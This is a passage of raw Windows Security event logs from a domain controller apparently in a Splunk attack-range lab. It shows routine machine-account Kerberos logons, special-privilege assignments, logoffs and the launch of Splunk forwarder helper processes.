a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:40:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255846 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3731EA - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:41:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255849 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9ec - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:41:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255850 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1148 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:41:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255852 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:41:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255851 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb30 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:41:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255853 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1268 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:41:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255854 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13b4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:41:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255855 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x448 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:41:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255857 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x375C8C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {1315B027-D61C-A152-E46C-74A6DCC39304} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64824 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:41:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255856 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x375C8C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:41:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255858 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x375C8C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:41:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255861 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3768D1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:41:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255860 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3768D1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64832 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:41:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255859 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3768D1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:42:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255867 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x376BA2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:42:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255866 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x376BA2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64836 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:42:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255865 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x376BA2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:42:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255864 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x376B36 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:42:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255863 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x376B36 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64835 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:42:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255862 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x376B36 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:42:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255868 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe50 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:42:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255880 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x113c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:42:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255879 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x377407 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:42:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255878 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x377515 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:42:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255877 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x37755D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:42:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255876 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3775D1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64841 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the 